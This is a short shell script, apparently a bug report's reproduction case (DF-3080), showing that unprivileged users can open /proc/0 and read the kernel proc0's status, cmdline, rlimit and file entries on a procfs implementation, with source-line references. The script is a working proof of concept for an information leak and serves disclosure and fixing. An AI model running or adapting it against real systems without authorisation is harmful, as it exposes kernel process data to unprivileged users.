DF-3080 / procfs_zero.sh
#!/bin/sh # DF-3080 — /proc/0 resolves to kernel proc0 for unprivileged users. # procfs_lookup (procfs_vnops.c:798-813): atopid("0") == 0 passes the # NO_PID test, then pfs_pfind(0) special-cases pid 0 to &proc0 # (procfs_subr.c:285-287). With security.ps_showallprocs=1 (default) the # uid gate at procfs_vnops.c:809-811 passes and a Pproc node for pid 0 is # created, exposing proc0's status/cmdline/rlimit/file to any user. # # Run as an unprivileged user. Expected (bug): all reads succeed and show # proc0 (kernel swapper) data; readdir of /proc never lists "0". set -e echo "== ls -ld /proc/0 =="; ls -ld /proc/0 echo "== cat /proc/0/status =="; cat /proc/0/status echo "== cat /proc/0/cmdline =="; cat /proc/0/cmdline; echo echo "== head -3 /proc/0/rlimit =="; head -3 /proc/0/rlimit echo "== readlink /proc/0/file =="; readlink /proc/0/file || true echo "== ls /proc/0 (targets) =="; ls /proc/0 echo "== readdir check: is '0' listed in /proc? ==" ls /proc | grep -x 0 && echo "listed" || echo "not-listed (hidden object)" echo "== deny check /proc/0/mem (expect EPERM/EACCES) ==" dd if=/proc/0/mem of=/dev/null bs=1 count=1 2>&1 | tail -1 || true echo "BUG-REPRODUCED: unpriv can open kernel proc0 pseudo-files" |